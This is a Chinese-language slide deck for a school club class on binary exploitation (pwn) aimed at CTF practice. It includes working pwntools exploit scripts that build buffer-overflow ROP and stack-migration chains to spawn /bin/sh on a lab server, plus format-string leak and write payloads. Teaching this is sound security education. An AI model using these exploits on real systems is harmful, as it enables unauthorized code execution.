# 實中資研社社課 # pwn 從入門到進階 ~~pwn從入門到入獄~~ --- ### 廣告時間 ---- ### 國雲網路 我們很多機器都是透過他們的vps架設的 ![image](https://ncse.tw/assets/img/logo.png) ---- ### 七維思資安 社團dc裡面那位熱心的飛飛老師的資安教育公司 ![image](https://image-cdn-flare.qdm.cloud/q6e57c8785320c/image/data/2024/01/18/c29a7baf9e8a9b2f3b24223107db9e48.png) --- ### 免責聲明 :::info 社團活動當中所學習的工具、弱點、攻擊手法等僅供資安知識的學習,若在課程後想做相關練習,請在合法的CTF平台上進行測試,如對外有相關攻擊行為,皆與本人與實驗中學資訊研究社無關 ::: 不要去犯法喔>< --- ### what is pwn? ---- #### wikipedia ![image](https://hackmd.io/_uploads/r1DEWvK1C.png) ---- but... 現在比較多是指執行檔漏洞利用 然後基本的逆向工程要會 --- ### netcat ---- netcat(在linux裡面簡稱nc)可以快速建立快速的tcp/udp的連線 而在pwn的題目多數也是netcat ---- ### Example ```bash nc 23.146.248.20 10001 ``` --- ### 逆向工程的小複習 >< --- ### 執行檔架構 ---- 全域/執行的東西 - Text:程式碼的部分。可讀,不可寫,可執行(r-x) - Data:已初始化的全域變數(for exam, 字串,數字等等的) - BSS:未初始化的全域變數 ---- 會一直變的東西 - Heap:由低位往高位疊的動態記憶體空間 - Stack:存放暫時資料(return adress、 區域變數、 參數、 回傳值),由高位往低位拉長,最低位(長到底的地方)會有rbp。 --- ### 執行檔保護機制 ---- checksec ```bash checksec --file=./file_name ``` ---- ![image](https://hackmd.io/_uploads/BJdAwwF1R.png) ---- Arch 執行檔環境架構 常見的有 i386, amd64-64-little ---- RELRO No RELRO - Link Map、GOT 可寫 Partial RELRO - Link Map 不可寫、GOT 可寫 Full RELRO - Link Map、GOT 皆不可寫 在初階課程裡面這個幾乎用不到 只要不是開了 `Full RELRO`通常問題都不大 ---- Stack Canary 如果輸入太多東西到stack上面會改掉裡面的值 canary就是蓋在當下stack最上面的保護 只要值有變就不會return去下一個地址 內建函式:`__stack_chk_fail` ---- PIE 會把所有東西的地址隨機化 方法就是把所有地址都加上一個 `random value` ---- NX 可以寫的東西不能執行,不能寫得可以執行 ---- gdb的vmmap可以看bss段資料權限 ![image](https://hackmd.io/_uploads/HJz6UOYkA.png) read/excute/write --- ### nano - 你寫腳本的好幫手 ---- 其實我自己在kali上面有安裝 oss code,超方便 但是怕你們討厭裝東裝西就用nano ---- ### 一分鐘教學 ---- `nano example.py` ![image](https://hackmd.io/_uploads/r1q5fqtkC.png) ---- `ctrl +x` 然後按下Y, enter 就可以存檔了!!! --- ### pwntools ---- ### 簡介 ---- 在打web的時候 可以用python的`requests`套件很方便的寫腳本 在pwn的時候也一樣 如果可以寫腳本取代我們去做重複的動作/鍵盤無法輸入的byte會方便很多 ---- ### 引入pwntools ```python from pwn import * ``` ---- ### 連線 ```python r=remote(ip, port) #遠端連線某個port, ip r=process(path) # 本地執行某個path的執行檔 ``` ---- ### 輸入 - 讀到某個字串結束`r.recvuntil(b'data')` - 讀到某個大小結束`r.recv(字節大小)` - 讀取一行`r.recvline()` - 讀取多行`r.recvlines(n)`,n是行數 ---- ### 輸出 - 送出並換行`r.sendline('string')` - 送出不換行`r.send('string')` - 變成32, 64位元資料(用在整數)`p32(int), p64(int)` ---- # `WARNING` pwntools所有東西都要是bytes 所以: - 'whale' -> b'whale' - str=str.encode() ---- ### 小試身手 ![image](https://hackmd.io/_uploads/Bk_gUFtyR.png) ---- ### Example ```py from pwn import * r=remote('23.146.248.20',10001) s=r.recvline() print(s) s=r.recvline() print(s) for i in range(500): s=r.recvline()[:-3] print(s) r.sendline(str(eval(s))) r.interactive() ``` --- ### Buffer Overflow - basic ---- buffer overflow是出現在stack上面的漏洞 ---- 利用條件: - 沒有 STACK CANARY 或者值被洩漏 ---- **危險的輸入函數** ```c gets()//不限長度 read()//會有長度限制但不見得是那個變數的長度 ...... ``` 因為他們都可以被輸入超過資料應有長度的內容 ---- |data 1| |---| |data 2| |data 3| |data 4| |data 5| |...| |data N| ---- |data 1| |---| |data 2| |data 3| |data 4| |data 5| |...| |data N| `char c[3];` //放在data3~data5 ---- but... |data 1| |---| |data 2| |data 3| |data 4| |data 5| |...| |data N| ```c gets(c); ``` ---- 輸入 `'abc'` |data 1| |---| |data 2| |`c`| |`b`| |`a`| |...| |data N| ---- 輸入 `'abcde'` |`e`| |---| |`d`| |`c`| |`b`| |`a`| |...| |data N| ---- 漏洞成因 - 如果是gets函數這種只管輸入不管大小的,那就是直接填入 - 如果是read這種會限制大小的,那就是它的大小-真實變數大小=你能填入的東西大小 ---- #### 小試身手 ![image](https://hackmd.io/_uploads/r1MXgcKkC.png) --- ### Buffer Overflow - ret2code ---- 利用條件: - 沒有 STACK CANARY 或者值被洩漏 - 沒有 PIE 或者值被洩漏 ---- 一樣是buffer overflow,不過每個stack最後面的值都是return address(就是跑完這邊它要去哪個地址) 然後就把它蓋掉就好 ---- Stack 完整結構 |ret address| |---| |rdp value| |data 2| |data 3| |data 4| |data 5| |...| |data N| ---- 所以蓋值的時候要注意把rbp value也蓋掉 ---- #### 小試身手 ![image](https://hackmd.io/_uploads/r1dNfqKyC.png) --- ### Buffer Overflow - ret2shellcode ---- 利用條件: - 沒有 STACK CANARY 或者值被洩漏 - 沒有 PIE 或者值被洩漏 - 沒有 NX ---- 把shellcode寫入到某個地址 用剛剛ret2code的邏輯ret去那個地址讓它跑 ---- shellcode?! ---- pwntools的ASM函數可以自己寫,但礙於我沒教... (想學得自己去學) ~~絕對不是因為講師也不太會寫組語~~ ---- `exploit db` 統整了各種漏洞payload的寶庫 ---- 打開它 ![image](https://hackmd.io/_uploads/HkgSnm9Y1R.png) ---- 選擇shellcode ![image](https://hackmd.io/_uploads/rknp79F10.png) ---- 選擇我們的arch ![image](https://hackmd.io/_uploads/BkUfVqFJ0.png) ---- 找到可以跑 `/bin/sh` 的 ![image](https://hackmd.io/_uploads/SkF44ctJ0.png) ---- 這個就是我們的RCE shellcode ![image](https://hackmd.io/_uploads/S1CD45KkR.png) --- ### Buffer Overflow - ret2libc ---- 利用條件:已知對方使用的libc 然後我不打算帶owo ---- 方法跟ret2code一模一樣 詳細可以去看我以前的筆記: https://wha13.github.io/2023/10/12/pwn-note/#BOF-Ret2Lib --- ### ROP ---- 利用條件: - 沒有 STACK CANARY 或者值被洩漏 - 沒有 PIE 或者值被洩漏 ---- 回想一下 ret2code 如果把很多 ret 串在一起,就可以一直執行我們想要的東西 (只要我們知道它的地址) ---- ### syscall table https://syscalls.w3challs.com/ ---- 因為有很多種可能,所以其他函數/方法怎麼叫 要自己逆看看 / google 看看 這邊以`execve('/bin/sh')`舉例 ---- 目的:RCE 怎麼呼叫我們要的`/bin/sh` ---- 查看syscall table後發現 ``` rax=>0x3b rdi=>要執行的指令地址(這邊是/bin/sh) rsi=>argv位置 rdx=>envp位置 ``` 以現階段來看後兩者可以直接填入0,直接叫 `/bin/sh` 就好 ---- 最基本的 syscall RCE chain pop掉之後第一個塞上去的就會變成本來pop掉的東西 ---- (stack上面的視角) ``` pop rax; 0x3b; pop rdi; command_addr; pop rsi; 0; pop rdx; 0; syscall; ``` 然後就可以RCE 啦啦啦 ---- 實戰演練 ![image](https://hackmd.io/_uploads/SkdIRP0yC.png) ---- 怎麼找自己想要的 gadget? ~~Trivago~~ ---- - ROPGadget - pwntools ---- ROPGadget ```bash ROPgadget --binary ./rop0 | grep 'pop rax .*' ``` ![image](https://hackmd.io/_uploads/r1mYRwAkC.png) ---- pwntools ```py from pwn import * rop=ROP('rop0') print(rop.rdi) ``` ![image](https://hackmd.io/_uploads/Hkxp0v0JR.png =50%x) ---- 寫腳本小叮嚀 可以使用 ```py context.arch='amd64' #可以抽換成i386之類的 ``` 去定義現在的arch後 用flat函數合併好幾個 gadgets ```py flat(a, b, c, d, e) ``` ---- Exploit ```py from pwn import * r=remote('23.146.248.20', 10009) #r=process('rop0') rop=ROP('rop0') context.arch='amd64' # datas padding=0x70+8 shellcode=0x004c3300 ''' >>> rop.rax Gadget(0x4516a7, ['pop rax', 'ret'], ['rax'], 0x8) >>> rop.rdi Gadget(0x4018c2, ['pop rdi', 'ret'], ['rdi'], 0x8) >>> rop.rsi Gadget(0x40f21e, ['pop rsi', 'ret'], ['rsi'], 0x8) >>> rop.rdx Gadget(0x4017cf, ['pop rdx', 'ret'], ['rdx'], 0x8) ''' # exploit r.sendline(b'/bin/bash\x00whale&shark') exploit=padding*b'a'+flat(rop.rax[0], 0x3b, rop.rdi[0], shellcode, rop.rsi[0], 0, rop.rdx[0], 0, rop.syscall[0]) print(exploit, len(exploit)) r.sendline(exploit) r.interactive() ``` ---- 小技巧 ---- 32進和64進差別 64=>syscall 32=>int80 ---- 遇到不知道怎麼串的函數 1.看本來執行檔怎麼跑的 2.GOOGLE ---- 塞`/bin/sh`的時候 要用`/bin/sh\x00` C語言讀到`\x00`會打住 ---- 沒有全域變數? 自己往bss段串`get()`之類的東西或者洩漏stack地址 塞shell gdb-vmmap ![image](https://hackmd.io/_uploads/Syr3yF0yA.png) ---- 有些函數有奇奇怪怪的對齊 像是`system`函數被呼叫時地址為16bytes倍數 所以串法會變成 ``` pop rdi, addr, ret, system ``` 其中那個`ret`可以隨便抓,通常我會拿 `pop_rdi`+1 \*反正就是一個空 return ---- Homework ![image](https://hackmd.io/_uploads/HkxAc8mg0.png) --- Stack Migration ---- 有時候可以填入的byte不夠 不過如果可以在某個地方先寫好 ROP CHAIN那就可以把stack搬過去那個地方 這就叫Stack Migration ---- `leave` 一個asm的指令,也是 stack migration的重點 ``` mov rsp, rbp pop rbp ``` 會使你在下一步也可以控制RSP (stack的地址是由rsp跟rbp一頭一尾控制的) ---- 唯一需要注意的是 在那裏寫ROP CHAIN的時候前面要先塞8個bytes (amd64) 因為你要改寫掉一個rsp address ---- 總的來說,攻擊鍊就變成: 把rbp變成你寫好ROP CHAIN的address 接著再`leave` ---- 實戰演練 ![image](https://hackmd.io/_uploads/Hk69loAkR.png) ---- ```py r=process('./rop1') r=remote('23.146.248.20', 10010) rop=ROP('./rop1') context.arch='amd64' # datas ''' 自己找 ''' # exploit payload1=flat(1004120, pop_rax, 0x3b, pop_rdi, shellcode, pop_rsi, 0, pop_rdx, 0, syscall, b'/bin/sh\x00') # rop chain print(payload1, len(payload1)) r.sendline(payload1) r.sendline(b'rahwhale'*2+flat(shell, leave)) r.interactive() ``` --- Format String Attack ---- 漏洞成因 使用printf函數直接輸出使用者提供字串 ---- what is format string? ```c printf("%d:%d", 1, 2); //1:2 ``` ---- 讀值(hex) %{n}$p n代表它在stack上面是第幾個項目 前五個會是寄存器值,所以要從第六個開始戳 ---- 順序就是它在你當下stack上面的順去 如果無法通靈可以使用gdb的stack指令來看 ---- 小技巧: 什麼都不知道就一直打 %p就可以順著洩漏資料 ```cpp %p%p%p%p%p%p%p%p%p%p ``` ---- 實戰演練 ![image](https://hackmd.io/_uploads/Sye0HcA1A.png) ---- 寫值 %{amount}c%{number}$hhn hhn是一個byte --- `rand()` ---- 其實只有一件事 `srand`會規範種子,如果連這個都沒有那每次rand結果固定 如果是time的話那可以在本地寫一個一模一樣的用 && 同時執行自己的腳本跟連線去對答案 (可能會需要+1秒之類的) --- Stack 改值 ---- 有機會改掉某個array任意編號元素時就等於可以改掉整個stack上面的東西
{"title":"實中資研社社課 pwn 從入門到進階","contributors":"[{\"id\":\"4aa04276-c8ec-490d-a620-ec3b4e8e3d7c\",\"add\":8734,\"del\":306}]","description":"pwn從入門到入獄"}
    1065 views